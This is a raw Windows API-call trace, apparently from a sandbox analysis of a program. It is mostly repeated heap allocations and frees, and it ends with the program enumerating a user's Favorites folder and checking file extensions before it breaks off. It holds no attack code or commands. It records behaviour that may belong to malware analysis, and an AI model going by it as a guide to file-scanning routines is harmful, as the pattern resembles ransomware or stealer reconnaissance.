[0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.271] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.272] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.273] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.273] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.274] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.274] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.275] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.275] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.276] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.276] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0067.276] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.276] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.276] PathFindFileNameW (pszPath="") returned="" [0067.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.277] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.277] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0067.277] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.277] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: 